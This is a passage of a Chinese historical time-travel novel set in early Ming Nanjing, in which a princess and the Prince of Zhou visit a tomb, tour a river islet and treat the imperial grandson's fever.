“如今,已没有什么左丞相了。”王献随口答道。
朱樱将目光抬高一些,望见漫天云霞背后彤红的日,自语道:“有一天,也不会再有什么‘高昌’呢。”
王献侧头瞥她一眼,尚未答话,又听她轻笑一声。
“其实原本也没有。”
“你……想得太多了。”王献摇头。
“也是,连活下去都很不容易呢。啊,对了。”朱樱露出恍然的神情,解下腰间锦囊,在掌心中倒了半天,倒出两枚晒干的毛豆荚。
王献看着她用两根手指轻轻一捻,豆荚里便滚出几颗青黄色的干毛豆。
“前些日子徐四老爷子送来的,事情一多,偏忘了给你几颗。”朱樱笑一笑,“这是姑苏过年时吃的零嘴,晒干的青豆子,虽然这年已过了,但也不迟。再说你帮了徐四老爷子许多,吃一颗就当全了他感激的心。”
“我不过做了当做之事,并非为帮他。”王献皱眉,又不想让人看到他与朱樱在御街上谈笑,从她手中飞快拈起几颗,一并塞进嘴里。
嚼了一下,觉得不甚对劲——这干豆子,怎么有一丝浓郁的甜味?
朱樱见他面色纠结,侧过身扶着宫墙笑起来。
“高昌!”王献皱眉,好容易将甜咸夹杂的豆子咽下去,无奈道,“你又不是小孩子,何苦作弄我?”
方才听到她说什么姑苏的零嘴,他就该警惕!可近来事太多,他一时忘了这一路上自己遭的罪,真是活该又被朱樱捉弄一遭。
“别生气嘛,见你近来总愁眉苦脸。其实,开心一点也没关系啊。”朱樱偏头一笑,趁王献不注意,抬手拉了拉他的嘴角,作出一个比哭还难看的笑脸来,随即往后退开。
“……”王献觉得他活了近三十年,除了被人起了个“小草”的外号,最丢人的便是被朱樱作弄小孩似的扯了脸。
偏又不能将她如何,还要依着皇帝的吩咐好生护着。
真糟心。
“好啦,多谢大人陪我至此,我自己进去就可以了。毛大人定留下许多事,你该去忙司中事务。”朱樱收起玩笑的神情,提起裙袂,拾级而上。
王献仍跟了上来,浑不见因方才的事生气,公事公办地道:“新任的礼部尚书偰斯顽固得很,怕不让你进去。”
两人走进景惠殿,太医院中医师与医工见了王献,不敢拦。
大殿中供奉着先医塑像,伏羲居中,左为神农,右为黄帝,以勾芒、祝融、风后、力牧配祀,左右配俞附、桐君、僦贷、季少师、雷公、鬼臾区、伯高、岐伯、少喻、高阳等上古传说中的医家。
殿中香雾袅袅,内殿两楹上写着一副对子:
勤求古训,博采众方。
是出自《伤寒》的句子。
殿内转出一个老迈的官员,朱红的文官官服。
朱樱听王献在旁叹口气,“倒不是偰斯那老东西。”
迎出来的老人是礼部侍郎刘崧,正月才迁到礼部侍郎的职位上,今年恰过花甲。
“大人怎来了?”刘崧向王献拱了拱手,略显浑浊的目光并不畏惧,反而带一点鄙夷。
王献自懒得同一个半只脚踏进棺材的老人计较什么,答道:“高昌公主喜爱医药,因此皇上准她来此拈香一炷,共祀先医。”
“啊,如此,我们尚书大人有些事,先回了,只留老朽在此,殿下不必拘束。”刘崧向朱樱和蔼一笑,眼中带着欣赏。
这女郎的事他回京任职后听说了一些,还寻了她所作的《紫衫记》来看,真是聪颖又勇敢,且那文笔极好,令人见之欣喜。
“多谢刘大人。”朱樱颔首,从他手中接过一束香。
“前朝朱侍郎的诗作亦是极好。”刘崧并不忌惮王献在场,低低说道。
“刘大人的诗作,有‘楼台上云气,草木动天风’一句,开阔辽远,万中无一。”朱樱一笑,向烛焰上点燃了香,往神主前一一敬过去。
刘崧更喜,捻着花白的胡须望着女郎的背影微笑。
朱樱敬过一遍,正要走出景惠殿,转头却发觉王献和刘崧都不见了,原本在殿内忙着洒扫的医师们也不知去了何处。
“这么入神?”身后传来陌生的声音。
“你……”朱樱转过身,下意识后退一步,“谁?”
是个二十岁上下的青年,身着大红冕服,手中
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亦拈着一束香。
“水仙都送到了我府上,你却不识得我么?”青年走近几步。
朱樱皱眉,那水仙是王献去送的,她知他自会将事情做得妥帖,又没问他究竟给谁送了。
何况就算问了,那么多人,她怎知道面前的又是哪个?
王献不知从哪里走出来的,挡在朱樱和青年之间,冷冷道:“王爷别逗殿下玩了。殿下一直住在姑苏,不识得王爷。”
“从前不认得,现在不就认得了?”青年一笑,显见并不怕王献,“我听闻父皇给我们认了一个十妹妹,早想见一见,谁知在太医院不期而遇——妹妹也喜欢医药么?”
“并非。”朱樱顺下目光,不去看他,轻声道,“我做下了错事,先医不会认我的。”
说罢,侧身向一旁走了。
才跨出半步,手腕被人一拽,脚下一个踉跄,险些滑到阶下。
“声音太小了,你这样怕生么?”拽住她的青年歉然笑笑,拉着她的手臂将她扶起,“十妹,我是你五哥。”
王献眼看朱樱走不掉,道:“这是五皇子,封周王,极爱医药,每年都请示皇上从凤阳赶来应天府,祭祀先医,平日若在京中,也常向王院使请教医理。殿下不必回避了。”
朱樱低眉,行了一礼:“不敢。”
“不敢什么?”周王摇头,“父皇认了你,你便是我们的妹子,若有人欺侮你,可要告诉我,我帮你打……”
王献看了他一眼,他即刻改口道:“我帮你找他说理去。”
“周王与成穆贵妃情谊深厚,樱不敢以皇十女自居。”朱樱转身欲走。
抚育周王长大的成穆贵妃孙氏,生有一女早逝,并因此悲痛而得病逝世,那位小公主便是真正的第十女。
“就为这点事?”周王笑道,连连摇头,冠冕上的珠帘碎响,“好生见外啊。我那小妹子若还活着,也该有你这般大了。你生得好看,又有好才学,成穆贵妃若能早些见了你,心里欢喜,或许就不会那么早过世了。”
“……”朱樱默然。
或许确实是这个道理吧。
“哎,你若这般过意不去。”周王拽住朱樱手腕,带着走出景惠殿,“跟我去一个地方。”
走到院心,他还不忘跟王献招手:“放心,一会儿就把人送回来。”
35. 第三十五章 人歌人哭水声中
江风掠过,两岸苇草飒飒。
晴朗的阳光洒落在寂静的墓园内,四处广植草木花卉,馥郁葱茏。
这是金陵城外的褚冈,成穆贵妃孙氏就葬在此地。
墓前甬道笔直,两旁不落的乔木随风摇曳,抖落一片清幽。
青色坟冢静立在墓道尽头,碑刻累然。
周王走上前,轻声道:“阿娘,五子来看你了。”
“这是父皇才给我们认下的妹妹,你看她是不是很漂亮?”
“她的名字叫做‘樱’,父皇说她同普济寺的樱花一般绚烂。”
“阿娘看到了么?欢喜么?”
“若是小妹子还在,一定就是阿樱这模样的,你说对不对?”
朱樱走到墓碑前,定定仰望碑刻。
“对了,你还不知道我的名字吧?”周王绕到朱樱身旁,“我的名字不好写,也不知父皇那时候怎么想的,小时候习字,写自己的名字时,我可嫉妒四哥和六弟了。”
“我知道。”朱樱摊开手,右手食指在掌心轻画。
整整十七画,一笔不多,一笔不少,连顺序都没有一丝错。
阳光中,青年好奇地瞪大了眼盯着她手指划过的痕迹,忽地露出笑容:“妹妹难不成是神仙下凡,怎会知道我的名字?”
“是王大人告诉我的。”朱樱收起手掌,平淡地答道。
她抬起头,看着面前快乐的青年人,笑了笑。
确实有很多人都不知道周王的名字,甚至不知道他的存在,可是她很清楚,他将会有传奇的一生。
虽然或许不尽完满,但一定辉煌。
明太/祖第五子,成祖同母弟朱橚,封周王,所编医书存有《保生余录》、《袖珍方》、《普济方》、《救荒本草》,这个名字,足以于有明一朝,彪炳中医药学史册。
其组织编著的《普济方》共计四百二十六卷,载方六万余首。
黎上下五千年,天下方书,无出其右。
朱樱点头,“我记得你的名字,我很钦佩你。五哥哥。”
“那真是太好了。”朱橚笑起来,快步向墓园门外走去。
朱樱觉得他高兴得似要起舞。
王献已等在墓园外,见朱橚和朱樱并肩走出来,上前道:“王爷该进宫请安了,公主不愿去的话,也该回驿馆。”
总之,不得在金陵城外随意游荡。
朱橚拧起眉头,“小草啊小草,通融一下,又有什么关系呢?只要你不告诉老爹,怎会有旁人知道我们在城外闲逛呢?”
他一路走,一路揽过枝条,不时又低头去看道旁野草,看到不认得的,就扯起来问朱樱。
王献摇头:“皇上常吩咐王爷,喜欢医药可以,但莫要似魔怔了一般,王爷又把这话抛到脑后去了。”
“这算什么魔怔?”朱橚不以为然地摆摆手,凑到王献耳边,“小草,我倒教你个巧宗,你去看看十弟,常偷偷看那些神仙方术,莫不是一心想着成仙?”
王献拧起眉,漠然道:“早已报上去了,还等王爷你来告诉?王爷莫不是以为我们都是吃白饭的?”
“是是是,你们自然不是吃白饭的。”朱橚从道旁拔起一支车前草,咬在齿间,含糊道,“不过那等事,委实太可怖了。今日是胡相,明日又是谁?该不会有一日轮到我丈人头上吧?诶,若真有的话,你好歹先给我报个信。”
“王爷慎言些。”王献凶巴巴地瞪了朱橚一眼。
朱樱抿唇一笑,跟小孩吵嘴似的。
不知不觉走到江边渡口,朱橚狡黠一笑,走上栈桥,向王献道:“小草,走走走,去潜洲玩。”
潜洲是长江中的沙洲,因为地处江南江北之间,洲中生有一些北方才有的草木。
“王爷,潜洲去不得。”王献一把拧住泊舟上的缆绳,正色道,“王爷也须知道,天家父子亦是君臣,王爷若一味胡闹,皇上可不会网开一面。”
“哪有你说的那般严重?我爹什么样的,我还能不知道?脾气是大了点,但是心地真不坏。”朱橚跳上船,拔出腰间短匕来,打算砍断缆绳。
“王大人,带我去潜洲吧。”朱樱握住缆绳,回头看向王献,“皇上说过,那苏图需在潜洲居住一年余,其间,我与长安公主只需告知你,随时可以前去潜洲探望。”
王献看着她,“那么,你是要纵容周王去潜洲?若那苏图有闪失,你担得起这罪责么?我已遣人告知苏芥出城来接你回去,他不多时便来了,你乖乖回去,何必管这事?”
朱樱看他一刻,冷然道:“我偏要管。”
王献一哂,好固执的女郎。
“既如此,上船吧。”王献解开缆绳,也跳上甲板。
船工荡开桨,小船在宽阔浩渺的江面上漂浮。
朱樱回望江岸,水面上腾起袅袅烟波,一片迷蒙,江天一色。
小舟随波涛起伏,与一路上所乘大船不同。
只觉漫天漫地都是透明的水,连自己亦是浮游在水中的。
一上潜洲,朱橚飞快地跑到一片草地上,眨眼功夫矮身蹲在及腰的草丛中,失了踪影。
王献漠然打量了草丛一眼,转向朱樱,“他不会走远,随我来,那苏图在沙洲南岸。”
朱樱在南岸的马场里见到了那苏图,原本文静的少年被阳光和江风淘成了泥土般的颜色。
他正跨着一匹快马,在马场内一圈一圈绕着,练习骑射。
场内武师见了王献,纷纷低头问好。
那苏图控马跑近,远远向朱樱挥手:“颜姐姐!我姐姐可好?”
“她很好。”朱樱递给他一方帕子擦拭额角汗水。
那苏图胡乱抹一把汗,将长弓递给武师,回身拍拍马儿脊背,向朱樱咧开嘴一笑:“颜姐姐替我告诉姐姐,我在这里也很好。”
就是累了点……不过,挺充实的。
皇帝派来了最好的老师,教他权谋之道,教他草原上的节日风俗,教他骑射摔跤,等等。
大概是比教养儿子还用心了。
回去的时候,朱樱和王献几乎是在原地捡回了痴迷研究药草的朱橚。<
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p>朱橚满手满嘴都是青绿色的草汁,他嫌头上冕冠碍事,便摘下来搁在膝上,十余条冕旒横七竖八。
王献皱眉,“王爷这样还说自己没魔怔?卑职倒也认得几个太医院的医师,可没有一个像王爷这般的。”
“这不一样,我是真心喜欢,那些医师不过混口饭吃,就像你在仪鸾司不也是为混口饭吃。”朱橚起身,拍拍衣襟上的草屑,抹一把嘴角的绿色草汁,胡乱将冕冠往头上一扣。
“卑职在仪鸾司可不是混饭吃。”王献凉凉地道。
不论如何,他是真心想匡扶这社稷。
“五哥若真喜欢,不如去太医院寻个师父,慢慢学便是了。”朱樱伸手替他系好冕冠下的系带,再将那些珠串理顺。
“哎,我都说了,那些医师不过是混饭吃的,他们那套医理啊,真是稀奇古怪,同我在古书上看到的没一个处相似。”朱橚卧倒舟中,枕在船头,脑后珠串浸在江水中。
“我看上古医家岐伯、扁鹊,医圣张仲景,药王孙思邈,近有金元四位名家,都各有主张,哪像现在的医师,只知道这法子能治好人,旁的再不去想,无趣得紧。”朱橚一撇嘴角。
“说什么辩证……依我看啊,为人看病只需依照天地运行之理,哪有这许多麻烦……”
朱樱淡淡插上话,“然医者看病,本就如此,若依天地之道,劳生息死,生死本是常事,为何还要救呢?如此岂非逆天行事,不免遭谴。”
“这……”朱橚一怔。
“何况,医师以诊病为业,以活人为要,自然不及五哥你一介富贵闲人,有那么多功夫去研读古书,想什么高深道理。”朱樱目光明亮,犀利地直指要害,“五哥说想学医,又看不起执业的医师,然医道本是如此。这世上许多东西,你欢喜时觉得它千好万好,真得到了,却也不过如此。”
王献抱臂坐在船尾,饶有兴致地看两人唇枪舌剑,互不相让。
心道,果然世间一物降一物。
“这话不对,若世间医者都如你说的那般,又怎会有张师?”朱橚摇头。
“五哥也须知道,并非人人都能如那些大家一般。”朱樱自船舷外掬起一捧江水,“有人或许能成浪,但更多人不过这江中一滴水,谁也看不见他们。我们只是平常人,不,我只是一介平常人,所以我是这样想的。”
朱橚不语。
“说这做什么?”朱橚闷闷不乐,轻声嘀咕,“我却想老爹还是吴国公的时候。”
“别说这话。”朱樱摇头制止。
王献冷哼一声,别过头,只当没听见。
小舟拢岸,苏芥已等在栈桥上,他身后,几名侍从焦急地在岸边直打转。
“阿颜,江上风大,就这么去了,也不添件衣衫,真是大意。”苏芥拿起臂间挽着的斗篷,抖开来,为朱樱披好,轻声笑道,“你怎与这想学医想疯魔的王爷在一处?”
“她倒说了周王几句,只望他能听进去几句。”王献抬眼看岸边几名侍从,皱眉,“那几人有王府的人,也有东宫服色,这是做什么?”
36. 第三十六章 羚角附子汤
朱橚刚踏上栈桥,岸边侍从们蜂拥而至,急道:“王爷,太子爷请你呢。”
王献截住几人,“发生何事?”
“大侄子病了,我去看一看。”朱橚绕开王献,一把拽了朱樱,一路走一路说,“前年大嫂死了,那时雄英才四岁,这么小就没了娘,同我一样……不对,比我更苦一些。”
朱樱被他拽得踉跄两步,身不由己走上岸边。
“可是……”朱樱驻足不前,“侍从们只请五哥去,我不该去。”
“我都说过好几回了,你怎还如此见外?大哥人最好,怕什么?”朱橚挑开车帘,一把将朱樱拉上车,“对了,我昨日还听小草说,你来应天府的路上救活了一个溺水的孩子,真厉害。”
朱樱沉默不语,转头望向车帘外。
落日一半沉入江水中,浩浩江水,一色金红。
王献大步踏过栈桥,瞥苏芥一眼,“走吧。”
苏芥摇头:“你可知道,我正是为了躲过此事,才出城来的?”
虽然他隶属药园,诊病的事本不会寻他,但皇上亲口吩咐苏老神医去看一看小皇孙,他们都不愿去,只得躲了。
“你也有算错的时候?”王献的语气有些幸灾乐祸,翻身上马,“她都去了,你自然也不会不管。走吧,我知道你有的是法子。”
有的是杀人的法子,也有的是救人的法子,至于到底是杀人还是救人,大概全听凭他的心情。
苏芥与他并骑而行,淡淡道:“死生有命,人有再多办法,有的时候也未必胜得过天。”
“你竟信命么?”王献鄙夷道,“这可看不出来。”
“不信。”苏芥毫不犹豫地答道,收紧手中缰绳,策马追上前面马车。
“来,让一让!”朱橚拉着朱樱一路横冲直撞,避开无数往来女侍,拨开围了好几层的医师,一直挤到床榻前。
床帐半挂,太医院院使王宾皱眉站在一旁,向一旁站在阴影里的人絮絮说道:“这是惊风之兆啊,多半是吓着了,或是……”
因怕病儿被光线惊扰,室内门窗紧闭,帘幔合拢,灯火昏黄,看不清屋内究竟有多少人,只觉人影幢幢,往来不绝。
朱橚走上前,把那院使拉到跟前,“你别说这些有的没的,现在谁也不想知道雄英得的究竟是什么病、又或是怎么得的,你倒说,这该怎么治?”
“这……”院使王宾自然认得每年都要到太医院“骚扰”他几番的周王,哆哆嗦嗦地道,“王爷也知道,小儿四大症,谓之痧、痘、惊、疳,其中这惊便是惊风,最……”
一个“险”字哽在喉中,死活不敢说出来。
这病榻上的孩子可是皇长孙,就算真治不得,现在也不好说出口。
“五弟,放开王院使,好好说话。”阴影下的人走出来,面相和善,眉间略锁。
“大哥,我这心里急啊。”朱橚皱眉,环顾满屋子垂首而立的医师,数落道,“你看看这些太医院吃白饭的,来了十七八个,跟一个没来有什么两样?我早向老爹说过,要他们何用?”
朱樱竖起一根手指,抵在唇边,轻声道:“五哥,人多嘴杂,不要说这些话。”
朱橚不服气地别开脸,心道,这话说了又怎样,他爹就算是皇帝了,也不过狠狠骂他几句,总不能真砍了他?
朱樱回望一眼回廊,王献和苏芥还未到,仍转头向院使王宾道:“患儿高热至此,神志不清,不拘针刺、冰敷,为何在此袖手而待?”
“殿下说的是。”王宾回过神,忙招来掌针的小徒打下手,挽起衣袖,亲自去刺退热的穴位。
朱樱坐在床畔,接过侍女递来的冰块,亲自包在帕子里,俯身敷在孩子滚烫的额头上。
融化的冰水顺着她纤瘦的手指流淌下来,将指尖冻得通红。
半刻后,王宾收去针。
孩子神志清醒了一些,含含糊糊地唤要娘亲。
一旁的侍女们低下头,偷偷抹一下眼角。常氏早逝,虽有继妃吕氏在旁,忙里忙外地照料,到底不及亲娘好。
朱樱抱起孩子,安抚了两句,待他睡熟,仍放回床上,掖好被角。
“如何?”
侍女捧来银盆,朱樱在水中搓洗一下帕子,绞到半干,敷在孩子额头上,看着王宾点头道:“王院使的针很管用,没方才那样烫手了。”
“不敢。”王宾抹一把额角的冷汗,躬身站起,向远处悄悄望上一眼,暗道苏芥怎还不来。
苏老神医是年纪大了,不爱出门,苏陈又是个跳脱不靠谱的,他眼下只得盼着苏芥快些来,救他于水火——救人的法子他不是不知,但不是什么方子都敢拿来给小皇孙用的,整个太医院唯有苏芥用起药来最为大胆。
朱樱擦净手上冷水,起身走到朱橚身旁,“你看,王院使已退了烧,可不是你说的那般无用。”
“要真那么无用,怎能混到院使的位子?”朱橚握起她的手腕,想帮她焐一焐手,“你的手被冰到了吧?这些事,只需让丫鬟们去做便是了,何必亲自……”
朱樱轻轻挣开他的手,正色道:“五哥也是成了亲的人,需知便是亲兄妹也该有所回避。”
“哎?”朱橚眨巴眨巴眼,低声嘀咕,“一个十六岁的小姑娘,怎比母后还叨嗑?”
“你自己不懂事,当旁人也同你一般?”朱标在他身后,低声道,“那小姑娘随仪鸾司孤身来应天府,在朝堂上从容不乱,你能比得她?”
医师们让开一条路,两人走进人群。
王宾一望,即刻喜笑颜开,“宣清啊,你可算来了。”
说了一句,又觉得自己太过兴奋,有失仪态,忙抹一把脸,端正颜色,“小皇孙已经退了些热,你来看看,用什么药才好?”
“劳院使久等,卑职在路上遇到王大人,说了几句,不免耽搁。”苏芥略欠身,有理有据,经过朱樱身边时,抬手握住她垂在身侧的手,轻声道,“阿颜,手这么冰,仔细生冻疮。”
王献锁眉,他看到苏芥将一枚纸条交到了朱樱手中。
朱樱抬手去撩头发,眼风扫过手心中的纸条,上面写着一个“不”字。
一回头,疑虑的目光与王献碰了正着。
“何事?”王献走到朱樱身旁。
她眉头微蹙,星眸闪烁,似乎举棋不定,王献猜不透那纸条上究竟写了什么。
“小草。”朱橚不知何时凑到了王献身边,下巴指了指正
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在为孩子查看的苏芥,悄声问道,“那是谁?怎与阿樱这般亲密?”
“药园师苏芥。”王献面色不动,有如刀刻。
屋内医师见还有仪鸾司的人在,愈加束手束脚,不敢动一下。
“嗯……不认得。”朱橚再皱眉,他常往太医院去,却不大认得药园里的人。
那处幽深的大园子,里面栽着百余种药材,他每每想进去,守院子的人总说园中栽有不少剧毒草药,常人不能入内。
“袁都尉的第三子。”王献换了个说法。
“袁都尉?我也不认得。”朱橚摸摸额头,余光瞥见苏芥直起身,向王宾摇了摇头。
王献皱眉,他的意思是治不得?不应该吧。
“啊?”王宾惊得抖了抖胡须,上前在他耳边小声道,“这孩子方才烧的炭火似的,现下已好了许多,怎会治不得?宣清,你别这么早下定论,好歹试一试啊。”
“幼儿高热至此,心气已亏,脑络损伤,救之困难。”苏芥淡然道,一边挽高衣袖,拈起一根银针,“虽仍有法子可以一试,只怕终究回天乏术。”
朱樱紧握右手,眉头紧拧。
王献盯着她的右手,方才那枚纸条就在她手中,那上面究竟写了什么,与苏芥说救不得有关?
“五哥。”朱樱越过王献,低声向朱橚道,“五哥吩咐医师煎羚角、附子、石膏,一剂服下。”
“……雄英才六岁,用附子岂非太过?”朱橚摇头,“这方太险。”
“心阳已衰,不用附子才是太险。”朱樱低眉,“快些吧。诸位医师皆不敢用重剂,我也不好多说,唯有五哥懂得医药,还能说上一句话。”
朱橚见她目光坚定,点了点头,“好,我去跟大哥商量。”
朱樱见朱橚去了,趁人不曾注意,走到廊中,王献也跟了出来。
“你手中所持何物?”王献冰冷的目光落在她依然紧紧捏住的右手上。
“宣清给我的方子。”朱樱瞥他一眼,歉然笑道,“他不敢用那么峻烈的药,想让我去,可惜我也不敢,只得推给周王……”
王献打断道:“只怕不是。苏芥那等胆子,不至于不敢用。”
“王大人不信的话,我也没有办法了。”朱樱摇头,“这字条不能给你看。”
王献沉下脸,到底做不出从她手中夺过字条的事,一言不发闷头在她身旁往外走。
走到一半时,廊下栏杆旁趴着一个嗷嗷哭泣的小童子。
小童子看见王献,一把扑上来扯住王献衣角,哭道:“小草叔叔,我的手好痛……爹娘都不管我,我要来找他们……”
朱樱抬眼看看王献,王献扯了扯嘴角,“殿下,这是皇次孙。”
王献觉得今日东宫一定是捅了马蜂窝,事情一件连着一件。
哭成一团的孩子抬起眼来望着朱樱,极上道地张开手臂,奶声奶气地道:“姑姑,抱。”
“……”朱樱俯身抱起小童子,见他左手食指上刺着一根淡黄色半透明的长刺,不由惊奇一下,轻轻拈了出来。
小童子又哭,“姑姑,痛……”
“乖,不哭。”朱樱抖出一个小瓷盒,扔给王献,“你给他抹一些。”
37. 第三十七章 所知
王献将朱樱送到驿馆外,暮色已深,两旁檐下灯笼摇曳,街道上空无一人。
“王大人请回吧。”朱樱踏上驿馆的台阶,指间拈着那枚淡黄色的长刺,在灯影下细看。
这硬刺有一寸来长,淡黄颜色,透明质地,细看去上面有一道道横纹。
“不该啊……”朱樱将硬刺包在一方帕子内,随手扔在袖内,心中暗暗疑惑,难道这年头已经有仙人掌了么?
正要走进驿馆,脚边落了一枚细石子,朱樱顿住脚步,转身面向街道。
“阿颜。”苏芥缓步走到她面前,摇头道,“不是叫你不要管么?”
“……我做不到。”朱樱皱眉,“分明有办法救他,为什么不救?袖手旁观者,亦是杀人者!”
“是么?诸位医师皆不敢用峻药医治,为何我就要救?你这话,留着明日去太医院骂王院使,也不迟。”苏芥拉起她被夜风吹到冰凉的手,合在掌中暖着,温柔地看着她,声音却凉凉的,“我们杀的人还少么?你仍在意多一个两个?”
“情非得已,我自然怀愧于心。”朱樱定定看着他,末了道,“你不会明白。”
苏芥一笑,揽着她的肩往驿馆内走,“我明白,你说过的,自己反倒忘了么?”
她说,她最不喜欢的事就是养实验动物。
为了人的福祉,数不清的其他族类化成尸骨。
这一双将要去救人的手,在能够救人之前,早已满布血腥。
或许现代医学的仁慈之处,不过是让少数人去遮蔽那些尸山血海,好教普通人再也看不见罢了。
朱樱穿过庭院,望了望对侧屋中的灯影。
她与乌莹暂居驿馆,住在对院,乌莹极少踏出驿馆,也从没去潜洲探望过那苏图。
苏芥推开门,点亮烛火。
“你今日去潜洲了?”苏芥掩上门。
“对,我见到那苏图了,他很好。”朱樱坐下来,摊开手,手中纸条已被揉成一团。
她将纸条细细展开,那个“不”字依然清晰可见。
“那孩子……”朱樱将纸条送到烛焰上,轻声道,“就算他本就活不长,你也不能……”
她蓦地顿住,抬眼看着苏芥,霎了霎眼:“你……亦知道,他本就会早夭?”
摇曳的灯火下,苏芥点了点头。
“不可能。”朱樱探身到他面前,连连摇头,“不可能的。除非……”
苏老神医把即将发生的事情告诉苏芥了?那也太……
“师父告诉我了。”苏芥印证了她的猜测,“师父年纪大了,不可能亲自奔走,而你虽心里清楚,却每每优柔寡断,他不放心你。”
“你也觉得我做不好?怎么可能!”朱樱霍地站起,气鼓鼓地拉开门,“我不会插手的,他为什么要那样做?!那老头子疯了,我要去找他。”
“阿颜。”苏芥叫住她,“你不必对那些事守口如瓶,我们可以一起承担。”
“可你不该知道。”朱樱背向打开的门,夜风从外灌入,吹起她的衣袖。
残留着寒意的西风将烛泪吹到冻结起来,火焰上炸开一个灯花。
“你不该知道那些事。”朱樱紧紧攥着门框,因为用力而发白的指节在寒风下又冻到通红。
“可你太犹豫了,这足以让你错失掉许多机会。”苏芥轻轻掰开她的手指,搂了她进屋,轻轻阖上门。
朱樱将头靠在他肩头,轻声道:“可你会铤而走险,知道越多,就越危险。”
从前意见相左时,也不是没有吵到天昏地暗的时候——只是现在她不再愿意争吵,苏芥也惯于让着她几分了。
“那我答应你,这次不会如此。”苏芥握起她的手,覆在胸口,见她神色漠然,拍了拍她的肩头,“怎么,不信?”
“你翻悔比翻书还快,我信你才有鬼。”朱樱甩脱他的手,推他往门外去,“空说无凭,这事往后再说,你现在先回去,别待在我这儿。”
苏芥站在门外,并不走,“明日,若东宫来请,你仍要去么?”
朱樱沉默片刻,点了点头。
“好,我相信你自有分寸,我不多问。”苏芥接过她递过来斗篷,又问道,“我想知道,你看那些人时,会尤为怜悯么?”
会因为知道谁会寿薄祚短,谁又能长命百岁,因而特别怜悯照顾那些薄寿的人么?
朱樱摇头,她不喜欢用那种目光去看旁人。各人的苦乐,唯有自己才能明白,不必她去一味怜悯。
“那么……”苏芥又道,“阿颜是觉得旁人不论寿数深浅,命数如何,都要认真对待。”
“不错。就算我能预知有人明日会因天灾而死,但他今日病重危急,我仍要救他;就算我知道他明日自然会好,但我今日见他患病痛苦,也仍要救他。”朱樱答道。
人力终究有所极限,诸般行事,不就是为了求一个尽力心安吗?
“我知道了。”苏芥一笑,抬手摸了摸她的面颊,“阿颜心善。学不来旁人,就不要学了。”
朱樱看他走远,赌气轻轻踢开脚边的石子。
“颜妹妹。”乌莹从一旁长廊中走来。
朱樱不知她在,下意识后退半步,“乌莹姐姐……”
“我方才听到你回来了,因此过来看看。”乌莹笑笑,提起食盒,“你还没吃过饭吧?这是应天府有名的桂花糖芋苗,还有松香鸭油烧麦、盐水鸡、花生豆腐脑。香干马兰头,一起吃饭吧。”
“好……”朱樱低下头,想到苏芥忙了一整日,到这时也未吃过饭,却被她赶了回去,
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还要冒着寒风回太医院,心中十分愧疚。
第二日,朱橚果然又来拉了朱樱去东宫探病。
继妃吕氏接待了他们,一旁侍女抱出已经苏醒的皇长孙。
那孩子依然病恹恹的,一双眼耷拉着,没什么精神。
“我看看。”朱樱接过病孩子,拉起孩子肉乎乎的指头,对着光细看。
朱橚凑在一旁,问道:“这是看什么?我看王院使那日是诊脉的,小儿脉细,故只用一指便定三关。”
朱樱将孩子交还给侍女抱进去,向吕氏道:“已好许多,这几日清粥养着便是,或依着王院使的方子,清补几日便好。”
吕氏向她笑着点头,“高昌妹妹精通医术,比老五这个天天嚷着要学医、到现在也没学出什么名堂来的强多了。”
“谁说的?还不是老爹不让我学?!”朱橚急得跳脚,“总有一日我要叫老爹看看,我怎就学不好医术了?”
左右他今年就要去开封,从此后离应天不下千里,常言道,天高皇帝远,他就不信还有人能管着他。
简直就是鸟出樊笼,鱼归海渊,再无拘束,光是想想就让人激动不已。
“五哥。”朱樱起身,向他招手,“你方才不是问我为何看手指,而不诊脉么?”
朱橚立时安静,摆出一副虚心求教的样子。
朱樱摊开手,伸出食指,依次点过三道关节,“这叫做三关,从手心向外,依次是风关、气关、命关,食指上的这条脉,或深或浅,或长或短,都能用于判断小儿疾患深浅。”
朱橚眨了眨眼,努力做出听懂了的模样。
“有医家归纳说,浮沉分表里,红紫辨寒热,淡滞定虚实,三关测轻重。”朱樱说完,见他盯着自己的手指,皱起眉来,又道,“只有小儿才看得,长过十岁,就做不得数了。”
“这是哪个医家说的,我看了那么多医书,怎没见过?”朱橚追问道。
“那是你看的还不够多。”朱樱抿唇一笑。
说话间,另一个小童子跑进来,依偎在吕氏身边,指着朱樱道:“母妃,就是这个姑姑给我治好了手指,现在一点都不痛了。”
“阿贰,你又怎了?”朱橚摸摸小童子的脑袋。
“是被仙人掌扎了吧?”朱樱拉起他的小手,手指上依然留着一个红红的小洞,但已不肿了,“顽皮去碰那遍身都是刺的东西,可吃了苦头了。”
吕氏赧然笑道:“先前哪个宾客当稀奇东西送来,说是叫什么‘观音掌’,大约和高昌妹妹说的仙人掌是一样的意思,这东西西域来的,浑身都是刺,半年不浇水也不会死。昨日没看好他,就被那株东西扎了。”
“那株观音掌还在吗?”朱樱问道,“常看书上说,却还没见过是什么模样的。”
38. 第三十八章 观音掌
吕氏皱了皱眉,道:“那株观音掌刺多,也不止一人被扎过,我昨儿吩咐她们去将上面的刺拔了。”
她起身向身后近四十年纪、眉目端正的女官道:“恰好皇上遣陈姑姑从宫里来,还烦姑姑带高昌妹妹去走一走。”
陈姑向朱樱一礼,“高昌公主请随我来,那株观音掌栽在庭院内。”
穿过游廊,庭院内假山堆叠,藤蔓盘结,那株观音掌矗立院心,足有一人高,棱柱般的翠绿叶片高低不一,仿佛一座小型的树林,顶端开着一簇簇鹅黄色的花朵,根茎下培着沙土,沙土上冒出几点新芽。
几个小丫鬟趴在栏杆旁,拿着小银剪,一根一根拔出叶片上的长刺,整整齐齐地排在手中的帕子上。
“你们先下去吧,明日再来修剪。”陈姑向她们摆了摆手,转向朱樱,笑道,“这是前些年谁从西域送来的,说是这东西寓意乔迁顺利,万事如意,恰好那时东宫刚落成,皇上便赐了过来。听说极好养活,也不需人多管的。”
朱橚抱着小童子走来,陈姑见了笑道:“周王小时候也被这观音掌刺过,怕不是忘了?”
朱橚赧然笑笑,放下小童子,“陈姑姑又取笑我呢。”
“你呀,这么大人了,还跟小时候似的。”陈姑在他肩上轻轻拍了一下,嗔道,“皇上真是脾气好的,若是我家那小子这么皮,我定要打到他听话。”
“哈哈,陈姑又吓我,不过您打算回乡看看儿女吗?”朱橚看着面前眉目慈蔼的女官。
陈姑在家行二,十多年前死了丈夫,带着一双儿女生活,后来恰赶上应征入宫做了女官,将儿女寄在娘家,她自己也改了个雅字,唤作瑞贞。
“他们呀,嫁人的嫁人,成家的成家,都过得好,不劳我操心。”陈姑摇头,叹口气,“我却担心你们这几个皮孩子,我前日听皇后说起,五子也要去封地了,到那儿以后,也要听几位先生的话,万不可落下功课,任性妄为。”
